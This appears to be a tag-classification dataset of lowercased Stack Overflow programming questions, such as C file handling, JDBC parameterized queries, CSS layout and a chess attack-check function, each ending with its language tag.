how to store the value of a variable in a file in c  i need to make a journal (basically a program to read and write to files)  with a login system  so i need to save the login information into a file. i dont know what the username and password would be since the user puts that  and i want to store that variable into a file. also i was wondering how i could access that value after. like say i store the variable username into a file  and i end the program  then i run it again  how would i be able to access the username so i can verify that the user that started the program is entering the right username. this is my final project for my grade 12 course  and we don t have a proper comp sci teacher  so everything i know is self taught. so i m not that comfortable with pointers  and pretty new to files. if you guys have any links which you recommend for me to learn these two topics from  it ll be much appreciated. thanks for reading. the code that i got so far:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define size 1000  void signup (char username [size]  char password [size]  char name [size]  int age) { char null; printf( \nsign up procedure: \n ); scanf( %c   &amp;null); printf( please enter your username:  ); gets(username); printf( please enter a password:  ); gets(password); printf( enter your full name:  ); gets(name); printf( enter your age:  ); scanf( %d   &amp;age);  printf( \nusername: %s  password: %s  full name: %s  age: %d   username  password  name  age); }  void login(char username [size]  char password [size]) {  }  int main() { printf( 1. log in\n );  // enter 1 for logging in printf( 2. sign up\n ); // enter 2 for signing up int choice; printf( choice:  ); scanf( %d   &amp;choice);  char username [size]; char password [size]; char name [size]; int age;  int keepgoing = 0; while (keepgoing == 0) {     switch (choice)     {         case (1):             login (username  password);             keepgoing = 1;             break;         case (2):             signup (username  password  name  age);             keepgoing = 1;             break;         default:             printf( please enter a choice from the given options );             keepgoing = 0;             break;     } }   file * pfile;  pfile = fopen( planner.txt    w );  fputs( hello world   pfile); fputs( %s   username);  fclose(pfile);  return 0; } </code></pre>,c
values for parameterised queries  i have a sql statement string in java which contains  among other things  the segment:    <pre><code>  and \ reference_no\  &gt;     </code></pre>   i understand that this is a parameterized query  where the statement is precompiled and the parameters then added  in order to prevent injection attacks.    however  every example i ve seen of this used  i have always seen accompanying code where the parameter values are then hard-coded in using some kind of setter method with code that runs something like:    <pre><code>setvalue(1   value1 ); </code></pre>   the program i am trying to understand does not appear to have this accompanying code  and i am trying to understand at what point a value is added to this sql statement.    the application which uses this is a webui servlet that sends and receives job transactions. more specifically  i am looking at the page that lists pending transactions.    i have a method which contains the following:   <pre><code>list&lt;job&gt; query = getjdbctemplate().query(sql.tostring()                                             new object[]{minref}                                             rowmapper); </code></pre>   sql contains the sql statement segment in question.    is the value-adding dealt with by the jdbctemplate class  if so  how does it determine the values,sql
crashlytics don t detect crash file to submit  affected by umeng sdk  i setup crashlytics and turning on debug mode     i tried <code>[[crashlytics sharedinstance] crash];</code> it will have files to submit;    i tried <code>int *x = null; *x = 42;</code> it will have files to submit;    but i tried    <pre><code>nsarray *a = @[@1 @2]; [a objectatindex:5]; </code></pre>   it will not have files to submit. what is the condition for crashlytics to generate files to submit  i am confused it seems not every crash it will report.    the <code>[a objectatindex:5];</code> log:   <pre><code>2015-02-13 13:34:11.344 compass[1589:277586] [crashlytics] settings loaded 2015-02-13 13:34:11.351 compass[1589:277586] [crashlytics] configuring application 2015-02-13 13:34:11.352 compass[1589:277586] [crashlytics] starting report processing in 1.0 second(s)... 2015-02-13 13:34:12.451 compass[1589:277587] [crashlytics] alternate file submission complete 2015-02-13 13:34:12.453 compass[1589:277587] [crashlytics] no prepared files found 2015-02-13 13:34:12.454 compass[1589:277587] [crashlytics] no sendable files  submission process complete 2015-02-13 13:34:13.272 compass[1589:277585] [crashlytics] configured application </code></pre>   compared to [[crashlytics sharedinstance] crash]:   <pre><code>2015-02-13 15:36:11.716 compass[1634:288568] [crashlytics] processed file successfully 2015-02-13 15:36:11.717 compass[1634:288568] [crashlytics] alternate file submission complete 2015-02-13 15:36:11.718 compass[1634:288568] [crashlytics] submitting files 2015-02-13 15:36:13.750 compass[1634:288561] [crashlytics] submission response: {status: 202  error: (null)} 2015-02-13 15:36:13.751 compass[1634:288561] [crashlytics] submitted crash report with file name:  54dda95f01cf0001065d333333376237.cls   request-id: &lt;none received&gt; 2015-02-13 15:36:13.752 compass[1634:288569] [crashlytics] submitted file successfully 2015-02-13 15:36:13.754 compass[1634:288569] [crashlytics] no sendable files  submission process complete </code></pre>,ios
iphone distribution issue  i am developing an iphone app for an equipment dealer who will distribute the app to a number of sub-dealers.  the app is actually a price list type of app where sub-dealers can check the available inventory and prices. i am thinking what is the best way to distribute the app.     app store - the app may be rejected because of it s  usability . it is meaningless to users other than the sub-delaers.    adhoc distribution - we do not want to go through the process of registering each udids. it will also be very much challenging for the sub-delaers to install the .ipa files.    is there any better alternatives for us  i have read about custom b2b apps. will it be helpful for our requirement,iphone
equivalent of math.min & math.max for dates   what s the quickest and easiest way to get the min (or max) value between two dates  is there an equivalent to math.min (&amp; math.max) for dates     i want to do something like:   <pre><code> if (math.min(date1  date2) &lt; minimum_allowed_date) {       //not allowed to do this  } </code></pre>   obviously the above math.min doesn t work because they re dates.,.net
strange warning when try to return array  heey     when i m trying to return a array i m always  getting this strange   waring  message but it does not interrupt my app     <strong>returning  abrecordref  (aka  const void * ) from a function with result type  abrecordref <em>  (aka  const void *</em> ) discards qualifiers</strong>    here is my code where i m getting this message    <pre><code>- (abrecordref *) findcontactscontainingname: (nsstring *) fname {     //todo: add lastname  phonenumber etc.      // load the contacts     abaddressbookref addressbook = abaddressbookcreatewithoptions(null  nil);     nsarray *thepeople = (__bridge nsarray*)abaddressbookcopyarrayofallpeople(addressbook);      for (id person in thepeople){         nsstring *firstname = (__bridge nsstring*) abrecordcopyvalue((__bridge abrecordref)(person)  kabpersonfirstnameproperty);         if([firstname isequaltostring: fname]){             return (__bridge abrecordref)(person);         }     }      return null; } </code></pre>   can someone please explain me why i get here a waring ..    thanks for help and fast answer,objective-c
php require: can t access vars in function  ok  php is not in my major stack and haven t really gotten deep into it  i just want to get things done so i ll go straight to the code:   <pre><code>&lt; php require_once( server_helper.php );   &gt; &lt; php  echo $table_balance; //  balance   function get_balance($user_id) {     try {         $conn = establish_connection();         echo $table_balance; //            // some more code...     } catch (exception $e) {         print_r($e);     } } </code></pre>   explanation: <code>server_helper.php</code> is one level up and it has <code>$table_balance =  balance ;</code> in it. the first <code>echo $table_balance;</code> - outside the function works as expected and prints <code> balance </code>  while the second one - inside the function prints <code>  </code>.    the <code>establish_connection()</code> function is also from the <code>server_helper.php</code> and it s working fine...    i m including the file with the above code in another file  which handles the route hit  gets the id and calls <code>get_balance($some_id);</code> the code in <code>get_balance()</code> used to be in that another file  where i ve used to include the <code>server_helper.php</code> and it worked like a charm. the reason for moving the code is that i wanted to abstract away the db communication in a separate layer.    i ve tried with <code>include</code>  <code>include_once</code>  <code>require</code> and <code>require_once</code> with no success.    p.s: i know underscore is discouraged but i don t feel comfortable using camelcase in a case-insensitive languages.,php
how to send image to remote server  how to send image to remote server from the below code last string is placed with image    nsstring *reqstring=[nsstring stringwithformat:@ http://projeceads.info/spir/productinfo/productadd/%@/%@/%@/%@/%@/%@/%@/%@  ownerid productnametxt.text quantitytxt.text sizetxt.text agetxt.text pricetxt.text descriptionview.text imgstr];     nsurl *requrl=[nsurl urlwithstring:reqstring];     nsurlconnection *connection=[[nsurlconnection alloc]initwithrequest:[nsurlrequest requestwithurl:requrl] delegate:self];<br> [connection start];     },objective-c
html vertical alignment and align center in h2 tag  can you let me know is there any mistakes in the code below  it neither align the  text in center nor in middle(vertical).   <pre><code>&lt;td&gt; &lt;h2 style =  align:center; vertical-align:middle; &gt;text&lt;/h2&gt;&lt;/td&gt; </code></pre>,html
how to get child input type checkbox model value in parent div ng-click angularjs   please help me to solve this    <pre><code>&lt;div ng-click= onaccordionclick(p[0]) &gt;  &lt;input name= visitcompare   type= checkbox  ng-model= visitcompare[p[0]]  &gt;  </code></pre>       how to get checkbox model value in parent click function in angular js  if i click parent div,angularjs
java - split a string to an array  i have a number that is submitted by the user.<br> i want to make something like this: <code>1568301</code><br> to an array like this: <code>1  5  6  8  3  0  1</code>.    how can i do this without adding     between every digit or something like that  (type int).    thanks.,java
javascript function display in body  i ve got this location script:   <pre><code>&lt;html&gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;/head&gt;  &lt;body&gt;  &lt;p id= demo &gt;&amp;nbsp;&lt;/p&gt; &lt;script&gt; var x=document.getelementbyid( demo ); function getlocation()   {   if (navigator.geolocation)     {     navigator.geolocation.getcurrentposition(showposition);     }   else{x.innerhtml= geolocation is not supported by this browser. ;}   } function showposition(position)   {    x.innerhtml= latitude:   + position.coords.latitude +     &lt;br&gt;longitude:   + position.coords.longitude;       }  window.onload = getlocation();  &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and it works perfect but what i want to do is to display the coordinaes in my body one more time without copy the same script. i just want something like php code echo $coords for example,javascript
avoiding warnings on unchecked cast exceptions for classes   <strong>code first: )</strong>      <pre><code>   /**      *      * @param arraylist the arraylist      * @return a random object from the arraylist      */     public static object randomarraylistobject(arraylist&lt; &gt; arraylist) {          random random = new random();         int i = random.nextint(arraylist.size());         assert i &gt;= 0;         assert i &lt; arraylist.size();         return arraylist.get(i);      }      public static class&lt;  extends juice&gt;  randomarraylistjuiceclass(             arraylist&lt;class&lt;  extends juice&gt;&gt; arraylist) {          final object o = randomarraylistobject(arraylist);         assert juice.class.isassignablefrom((class) o);         if (juice.class.isassignablefrom((class) o)) {             @suppresswarnings( unchecked )             class c = (class&lt;  extends juice&gt;) o;             return c;         } else throw new runtimeexception( wtf  not a juice class   );      } </code></pre>   <em>i m getting this warning:</em>   <blockquote>    unchecked assignment:  java.lang.class  to  java.lang.class&lt;    extends drinks.juice&gt;   </blockquote>   i put all that monster code in <code>randomarraylistjuiceclass()</code> to try to avoid such warnings but still i can t figure it out. what can i do     my goal is just to return the (some kind of) <code>juice</code> class without warnings... i know i m only feeding <code>randomarraylistjuiceclass()</code> some <code>juice</code>  i just have it throwing an <code>exception</code> just in case i was sloppy and fed it something else.    what should i do,java
fpx payment gateway integration  i am creating the web application in asp.net  i have to integrate fpx payment gateway in it .i am having keys for the integration.can any body guide me how the transaction details will be passed to fpx  is tat done via web api call  can anybody say how the data will be passed   in asp.net how to implement those web api call,.net
move information from one variable to another (same page)  since i have many diffrent workers on my workkey and i just want to print every work once. i though of doin a check like this. at the end of the loop i wanna save the value from workkey. so before every print i will check  if the new workkey is diffrent from the last one = dont print.   <pre><code>$counter = 0; while(db2_fetch_row($queryexe)) { $work = db2_result($queryexe   workkey ); $fname = db2_result($queryexe   fname ); $lname = db2_result($queryexe   lname );  if ($workkey != $saveworkkey){     $counter = 0;  }  if ($counter &lt; 1){      print ( some stuff)     print ( some stuff)     print ( some stuff)   } $workkey = $saveworkkey; $counter++;     } </code></pre>,php
my web page s layout only works on chrome. it looks messy on other browsers. how do i format layout on css to accommodate for all browsers   namely the banner  buttons  and pictures (all ids)...    <a href= http://jerry.pancakeapps.com/hello.html  rel= nofollow >http://jerry.pancakeapps.com/hello.html</a>   <pre><code>/*basic reset*/ * {margin: 0; padding: 0;}  /* started june 11  2013 */  body {     background: #b1e3e2;     box-shadow: inset 0 0 100px 20px #80d0cf;     text-align: center; }  /* put social networking icons beside name*/  table tr td {     padding-right: 1px; }  #social {     position: absolute;     right: 325px;     top: 157px; }  #social tr td {     padding-right: 30px; }  /* added link styling june 13  2013 */  a:link {     text-decoration: none;     font-family: helvetica; }  a:hover {     color: white; } </code></pre>   these pictures are all messed up (you can see on ie  firefox  etc.)   <pre><code>#piano {     position: absolute;     right: 516px;     top: 473px;     border-radius: 50px; }  #video {     position: absolute;     right: 300px;     top: 800px; }  #waterloo {     position: absolute;     right: 110px;     top: 473px; } </code></pre>   buttons are messed up as well  layout-wise...   <pre><code>#bluebutton1 {     position: absolute;     top: 327px;     left: 650px;     height: 59px;     width: 120px;     border:2px solid #6495ed;     background-color: #bcd2ee;     border-radius: 40px;     padding-top: 17px;     display: block; }  #bluebutton1:hover {     top: 300px; }  #orangebutton {     position: absolute;     top: 327px;     left: 877px;     height: 47px;     width: 120px;     border: 5px dashed #ff6347;     background-color: #ffa500;     border-radius: 40px;     padding-top: 23px;     display: block; }     #orangebutton:hover {     cursor: pointer;     top: 300px; }  #bluebutton2 {     position: absolute;     top: 327px;     left: 1111px;     height: 47px;     width: 120px;     border: 2px solid #6495ed;     background-color: #bcd2ee;     border-radius: 40px;     display: table-cell;     vertical-align: middle;     padding-top: 23px;     display: block; }  #bluebutton2:hover {     cursor: pointer;     top: 300px; } </code></pre>   and header is messed up too.   <pre><code>h1 {     display: inline-block;     font-size: 40px;     line-height: 80px;     color: #8699a0;     text-shadow: 0 0 1px #758890;     margin: 120px 0;     font-family: gothic;     outline: none;     padding: 30px 30px;     position: relative;     padding-right: 500px; box-shadow:          0 0 30px 0 rgba(0  0  0  0.1)           0 36px 0 -18px #b1e3e2; }  h1:before {     content:   ;     position: absolute;     top: 18px;     left: -24.5%;     z-index: -1;     width: 149.2%;     height: 140px;     border: 70px solid rgba(0  0  0  0);     border-left: 70px solid #b1e3e2;     border-right: 70px solid #b1e3e2; }  h1:after {     content:   ;     width: 100%;     height: 0;     position: absolute;     top: 100%; left: 0;     z-index: -1;     border-top: 18px solid #99acb2;     border-left: 18px solid transparent;     border-right: 18px solid transparent; }  h1  h1:before {     background-image:          linear-gradient(             transparent 8%               rgba(0  0  0  0.1) 8%               rgba(0  0  0  0.1) 14%               transparent 14%           transparent 86%               rgba(0  0  0  0.1) 86%               rgba(0  0  0  0.1) 92%               transparent 92%         )           linear-gradient(             rgba(255  255  255  0.75)               rgba(255  255  255  0)          )               linear-gradient(             45deg               transparent 40%               rgba(0  0  0  0.1) 40%               rgba(0  0  0  0.1) 60%               transparent 60%         )           linear-gradient(white  white);      background-size:          cover  /*borders*/         cover  /*white gloss*/         4px 4px  /*thin stripes*/         cover; /*base white*/ }  h1  h1:before  h1:after {     box-sizing: border-box;     background-origin: border-box; } </code></pre>   please tell me another way to specify layout so it is cross-compatible with different browsers,css
constructor saying method can t be duplicated <pre><code>import java.util.scanner;  class ironman { private double totaltime = 3.7;  public ironman() {     system.out.println( first constructor running ); }  public ironman() {     system.out.println( second constructor running ); }  }  public class marathon { public static void main(string[] args) throws interruptedexception {     ironman person1 = new ironman();     scanner scan = new scanner(system.in);     system.out.println(              a triathlon is a challenging task. this program will allow you to know which is the perfect course for you. );     thread.sleep(3000);     system.out.println( what is your age  );     int age = scan.nextint();     thread.sleep(1000);     system.out.println( what is your time for one mile  in minutes (ex: 5.3 or 6.2 );     double time = scan.nextdouble();     thread.sleep(1000);     system.out.println( how much is your budget  );     double money = scan.nextdouble();     system.out.println(money);     if (money &lt;= 100) {         system.out.println( you can t afford entrance! );     } else if (money &gt; 100) {         if (age &lt; 10) {             system.out.println( you don t qualify! );         } else {             if (time &gt; 10) {                 system.out.println( you do not qualify );             } else {                 system.out.println( good! you do qualify );                 ironman person2 = new ironman();             }         }     }  } } </code></pre>   i am a bit new to the concept of constructors. i was trying to create the constructor ironman; however  eclipse gives me an error message under the word ironman. it says that  duplicate method ironman() in type ironman . i don t understand why it says the method is duplicated  since it is supposed to be a constructor.,java
how to determine size of data (allocated and deallocated) during runtime  i have two questions:    1.) i want to do memory profiling of my code in a function-wise manner. the code can have any stl containers. is there a way of doing this in linux     2.) the second one is due to my naivety!! if i have a data-structure   <pre><code>template &lt; class t1 &gt; struct somestruct { std::set &lt; t1 &gt; v1; std::vector &lt; t1 &gt; v2; std::vector &lt; t1 &gt; v3; }; </code></pre>   and i know the sizes of v1  v2 and v3 then can i do a straightforward calculation of the size of the structure based on sizeof(t1) or would i have to take care of padding,c++
migration from .net1.1 to 3.5  i am currently using .net 1.1 but my client wants to move application from .net 1.1 to .net3.5. so client wants know how they will be benifited if migrate from 1.1 to 3.5.    what are the benifits of 3.5 over 1.1 for clients who is using that application,asp.net
add to a $_post array through multiple refreshes  i need to be able to store the $_post data from a form (i m doing that with the session variable) and i need to add data to the $_post array without overwriting the previous data.    here s my original thread about the session variables: <a href= https://stackoverflow.com/questions/14699824/store-array-variables-through-page-refresh-with-php >store array variables through page refresh with php</a>    here s an example of what i need to do:    there s a form on a page that you can put the width and height of a wall to calculate out how much paint/labor would be needed to paint the walls. once the first wall dimensions are entered  the user can click the submit button labeled  add wall  to add another wall to their order.    after the first wall input  the post data would return something like this:   <pre><code>array ( [wallw] =&gt; array ( [0] =&gt; 9 ) [walll] =&gt; array ( [0] =&gt; 10 ) )  </code></pre>   after the second wall is entered it would look something like this:   <pre><code>array ( [wallw] =&gt; array ( [0] =&gt; 9 [1] =&gt; 20 ) [walll] =&gt; array ( [0] =&gt; 10 [1] =&gt; 15 ) )  </code></pre>   this would continue on until the user has entered all of their walls.    i ve tried doing <code>array_merge</code>  <code>array_append</code>  etc  but none of those seem to be working; it keeps overwriting what s tin the post data  even if i bring the post data into another array.    i know the easy thing would be to throw some jquery in there  but this is for a php class (and we re not allowed to use sql yet) so i d like to try to figure this out with just php.    any help would be awesome.    thanks     chelsea,php
how do i stop this quicksand animation from glitching  <blockquote>    <a href= http://trulyamped.com/test/art.html  rel= nofollow >http://trulyamped.com/test/art.html</a>  </blockquote>   for some weird reason whenever i toggle one of the options such as web/ios/print the animation does a weird glitch and the animation skips.    but when i delete the codes <code>*  *:after  *:before { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}</code>    from my style it works properly but only to find that my hover animation is clipped.    so what i am asking is how do i get the animation glitch to stop  (just click on one of the filters on the site to see the glitch)    for comparisons look at <a href= http://designwoop.com/labs/filtered-portfolio/  rel= nofollow >http://designwoop.com/labs/filtered-portfolio/</a> and you can see how smooth it looks    i am really nit picky and the way the animation is not smooth bothers me.,html
add border-bottom to the li by jquery  <pre><code>&lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; &lt;li&gt;&lt;a target= _blank  href= # &gt;test one&lt;/li&gt; </code></pre>   i only want to add the <code>border-bottom</code> to the third and sixth line  why the following code doesn t work    <pre><code>$(li:lt(2 5)).css( border-bottom   1px solid red ); </code></pre>,jquery
angular directive toggling a class  i ve got the following code where i m attempting to toggle the first occurrence of a class. the problem is it s not working  and i have no idea as to why not.   <pre><code>(function () {  use strict ;  angular.module( someapp )  .directive( eventbutton   function () {     return {         restrict:  e           scope: {             eventitemdisplayed:  @          }          transclude: true          replace: false          template:  &lt;button class= btn btn-default  ng-click= toggleevent() &gt;{{text}}&lt;/button&gt;           link: function ($scope  element  attrs) {             $scope.eventitemdisplayed = false;             $scope.text =  show              $scope.toggleevent = function () {                 element.find( event-details:first ).toggleclass( hide-event );                 $scope.eventitemdisplayed = ($scope.eventitemdisplayed)   false : true;                 if ($scope.eventitemdisplayed) {                     $scope.text =  show ;                 } else {                     $scope.text =  hide ;                 }             }         }     } }); })(); </code></pre>   the html looks as follows:   <pre><code>&lt;event-button&gt;&lt;/event-button&gt; &lt;div class= event-details hide-event &gt;  </code></pre>   if i use   <pre><code>element.next().toggleclass( hide-element ) </code></pre>   then it works fine i.e. it adds the class to the element as expected. i suspect that s because next() returns an element whereas find() is returning a selector representing a class,angularjs
php: i want to have an admin area in my webpage so how can i make my admin area in php  php make an admin area  to check the user name and password and then load to another page,php
if statement in php tried colons and curly brackets still need assistance  i have a page where i m trying to get my search box to perform actions. when there s a search i have 3 sites: google  wiki  and duckduckgo. when i upload page to the server i m getting syntax errors. i have never done an if statement in php before. i looked at tutorials in w3schools and i am still confused. i have tried colons and curly brackets and i am still confused.    can someone give me a tip in the right direction    <pre><code>&lt;form action= search.php  method= get &gt;  &lt; php $site = substr(filter_input(input_get   site   filter_sanitize_string)  0  8); $terms = substr(filter_input(input_get   terms   filter_sanitize_string)  0  25);  if ($site== google ) header( location:https://www.google.com/#q=  . $terms); { }else{     if ($site== wikipedia )header ( location:https://www.wikipedia.org/#q=   . $terms); {      } else ($site== duckduckgo )header ( location:https://duckduckgo.com/#q=  .$terms);         endif;     } }  &gt; </code></pre>,php
"how to check if dynamic array is empty or not   can you please take a look at following snippet and let me know how i can check if a mapped object is empty or not  basically what i need to do is checking if there is any array of fuses in the <code>data</code>  if not  then do some thing else   <pre><code> if(e.attributes.display== fuses ) {    if((e.attributes.display ==  fuses ).length == 0){       console.log( no data for fuses );    }else{       fuses.push([e.geometry.x e.geometry.y]);       } } </code></pre>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var data = [{
      displayfieldname :    
      fieldaliases : {
        objectid :  objectid 
     } 
      fields : [{
        name :  objectid  
        type :  esrifieldtypeoid  
        alias :  objectid 
     }] 
      features : [{
          attributes : {
            objectid : 649
         }
       } 
       {
          attributes : {
            objectid : 665
         }
       } 
       {
          attributes : {
            objectid : 762
         }
       }
     ]
   } 
   {
      displayfieldname :    
      fieldaliases : {
        display :  display  
        objectid :  objectid 
     } 
      geometrytype :  esrigeometrypoint  
      spatialreference : {
        wkid : 4326 
        latestwkid : 4326
     } 
      fields : [{
          name :  display  
          type :  esrifieldtypestring  
          alias :  display  
          length : 50
       } 
       {
          name :  objectid  
          type :  esrifieldtypeoid  
          alias :  objectid 
       }
     ] 
      features : [{
          attributes : {
            display :  transformer  
            objectid : 1537
         } 
          geometry : {
            x : -88.17602806699995 
            y : 41.78431233100008
         }
       } 
       {
          attributes : {
            display :  transformer  
            objectid : 1591
         } 
          geometry : {
            x : -88.17546081099994 
            y : 41.783341919000065
         }
       }
     ]
   } 
   {
      displayfieldname :    
      fieldaliases : {
        display :  display  
        objectid :  objectid 
     } 
      geometrytype :  esrigeometrypoint  
      spatialreference : {
        wkid : 4326 
        latestwkid : 4326
     } 
      fields : [{
          name :  display  
          type :  esrifieldtypestring  
          alias :  display  
          length : 50
       } 
       {
          name :  objectid  
          type :  esrifieldtypeoid  
          alias :  objectid 
       }
     ] 
      features : [{
          attributes : {
            display :  service point  
            objectid : 13597
         } 
          geometry : {
            x : -88.17599727899994 
            y : 41.78465526100007
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13598
         } 
          geometry : {
            x : -88.17595382899998 
            y : 41.78455803400004
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13599
         } 
          geometry : {
            x : -88.17582231499995 
            y : 41.78435312600004
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13600
         } 
          geometry : {
            x : -88.17561004899994 
            y : 41.784005335000074
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13601
         } 
          geometry : {
            x : -88.17557576699994 
            y : 41.78393182000008
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13602
         } 
          geometry : {
            x : -88.17535967199996 
            y : 41.78352876900004
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13603
         } 
          geometry : {
            x : -88.17534426199995 
            y : 41.78340020400003
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13649
         } 
          geometry : {
            x : -88.17450698899995 
            y : 41.78350136200004
         }
       } 
       {
          attributes : {
            display :  service point  
            objectid : 13650
         } 
          geometry : {
            x : -88.17435162999999 
            y : 41.783597986000075
         }
       }
     ]
   }
 ];
 
 transformers=[];
 service_points=[];
 fuses=[];
 
 data.foreach(function(el) {
  el.features.foreach(function(e) {
   if(e.attributes.display) {
    if(e.attributes.display== transformer ) {
       transformers.push([e.geometry.x e.geometry.y]);
 }
   if(e.attributes.display== fuses ) {
    if((e.attributes.display ==  fuses ).length == 0){
       console.log( no data for fuses );
    }else{
       fuses.push([e.geometry.x e.geometry.y]);
       }
 }
   if(e.attributes.display== service point ) {
       service_points.push([e.geometry.x e.geometry.y]);
 }
 }
 });
 });
 
 console.log(transformers service_points  fuses);</code></pre>
 </div>
 </div>",javascript
i need to get the rotation degree for my animated disc image to use the value later on  <blockquote>    i want to get the rotation degree for my image to check if it is 360 degree in order to display a message or something else  </blockquote>,objective-c
what are cookieless sessions   in asp.net  i m a bit confused about role of cookies in session state. whats is the difference between normal session state and cookieless session state,asp.net
how to give form action to php class  i have written class call  users -> path:  class/users.php    and create login form in index.php    <pre><code>&lt;form action=   method= post &gt;     &lt;p&gt;email: &lt;input type= email  name= user_email /&gt;&lt;/p&gt;     &lt;p&gt;password: &lt;input type= password  name= user_password  /&gt; &lt;/p&gt;     &lt;p&gt; &lt;input type= submit  value= login  name= login  /&gt; &lt;/p&gt; &lt;/form&gt; </code></pre>   as form action i want to call that class -> userlogin() methode  how to do that,php
c sum of digits raised to the power of their position  i m trying to write a c program that calculates the sum of digits of a number raised to the power of their position.    ex:  user inputs <code>5672</code>  output should be <code>5^1 + 6^2 + 7^3 + 2^4</code>. the first digit in the number <code>5</code> is raised to the power <code>1</code> because it s the first digit. it s the same logic in every case.    i have come up with the code to calculate the sum of digits of a number  however  i m having trouble generating the code about how to raise these numbers to a certain power.   <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  int main() {     long num  digit  sum = 0;     int countdigits = 0;     long temp = num;     int i;      printf( enter the number \n );     scanf( %ld   &amp;num);     temp = num;     while (num &gt; 0) {         digit = num % 10;         sum  = sum + digit;         num /= 10;     }     printf( given number = %ld\n   temp);     printf( sum of the digits %ld = %ld\n   temp  sum);      while (temp &gt; 0) {       countdigits += 1;       temp /= 10;     }      i = 0;     sum = 0;     while (num &gt; 0) {         digit = num % 10;         sum = sum + pow(digit  countdigits);         countdigits -= 1;         num /= 10;     }      printf( the final sum is %d\n   sum); } </code></pre>,c
round robin like sql table for tracking recent activity  we need to track user activity in different time periods like 24 hours  7 days etc.  we don t anticipate a very large number of different periods but the numbers of users will be very large  probably in the millions.  nightly cronjob to summarize the stats for each user doesn t sound reasonable.  i know in the past i ve tracked network usage like this with rrd tables but those were just berkeleydb s and had to be one file per statistic which wouldn t work  but that idea seems like what i m after.  is there a pattern/best practice that i m overlooking,sql
c - need help debugging chess function  i m new to c and programming in general. i ve implemented c and am almost done  but it appears that the function that checks if a piece is attacked is wrong. i would appreciate it if anyone could have a look and perhaps spot something that i cant:   <pre><code>int isattacked(game_t* game  int x  int y  int color) {     /*printf( entered ia );*/     int i  j m  curx  cury  range;     int dx[] = { 0  1  0  -1 };     int dy[] = { 1  0  -1  0 };     char en = black_n  eb = black_b  er = black_r  eq = black_q  ek = black_k  ep = black_p;     if (!color)     {         en = white_n;         eb = white_b;         er = white_r;         eq = white_q;         ek = white_k;         ep = white_p;     }      for (i = -2; i &lt;= 2; i++)  /* knight attacking */         for (j = -2; j &lt;= 2; j++)             if (abs(i) + abs(j) == 3 &amp;&amp; isvalidcoords(x + i  y + j) &amp;&amp; game-&gt;board[x + i][y + j] == en)                 return 1;      for (i = -1; i &lt;= 1; i += 2)     {         for (j = -1; j &lt;= 1; j += 2)         {             curx = x;             cury = y;             range = 0;             while (isvalidcoords(curx + i  cury + j) == 1)                       {                 range++;                 curx += i;                 cury += j;                 if(game-&gt;board[curx][cury] != empty)                     break;             }               if (game-&gt;board[curx][cury] == eq) /*bishop or queen attacking*/                 return 1;             if(game-&gt;board[curx][cury] == eb)             {                 return 1;             }              if (range == 1 &amp;&amp; game-&gt;board[curx][cury] == ek) /*king attacking*/                 return 1;             if (range == 1 &amp;&amp; color &amp;&amp; j == 1 &amp;&amp; game-&gt;board[curx][cury] == ep)             {                 return 1;             }             if (range == 1 &amp;&amp; !color &amp;&amp; j == -1 &amp;&amp; game-&gt;board[curx][cury] == ep)             {                 return 1;             }           }     }      for (m = 0; m&lt;4; m++)     {         curx = x;         cury = y;         range = 0;         while (isvalidcoords(curx + dx[m]  cury + dy[m]))         {             curx += dx[m];             cury += dy[m];             range++;             if(game-&gt;board[curx][cury] != empty)                 break;         }          if (game-&gt;board[curx][cury] == eq)             return 1;         if(game-&gt;board[curx][cury] == er) /*rook or queen attacking*/         {             /*printf( x %d  y   %d\n  x y);*/             return 1;         }         if (range == 1 &amp;&amp; game-&gt;board[curx][cury] == ek)             return 1;       }      return 0; } </code></pre>   very turn  i have a list of moves. moves can only be added to that list if after the move is done  the player s king isn t attacked  i.e.  isattacked returns 0. to check if a player s king is attacked  i recieve the king s coordinates (i j)[these are numbers from 0 to 7] and color [either 0 or 1]. then i check if there s enemy knight (ek) within the board (isvalidcoords checks that 0&lt;=x y&lt;=7) that can attack the king. then i go to the diagonals to check if there s an enemey pawn  bishop  king  or queen that can attack the king. i do the same for rook movements. the latter 2 are wrong..i think –  an example board where the check fails to detect the bishop attacking the king:   <pre><code> |-------------------------------| 8| r | n | b |   |  | b | n | r |  |-------------------------------| 7| p | p | p |   | p | k | p | p |  |-------------------------------| 6|   |   |   | q |   |   |   |   |  |-------------------------------| 5|   |   |   |   |   |   |   | |  |-------------------------------| 4|   |   | b |   | p |   |   |   |  |-------------------------------| 3|   |   |   |   |   |   |   |   |  |-------------------------------| 2| p | p | p | p |   | p | p | p |  |-------------------------------| 1| r | n | b |   | k |   | n | r |  |-------------------------------| </code></pre>   black pieces are in capital  white pieces are in lowercase.    the colors are represented by black - 0 and white - 1. i m having problems detecting bishop/rook checks but i can t seem to pinpoint the mistake. any help at all would be appreciated !,c
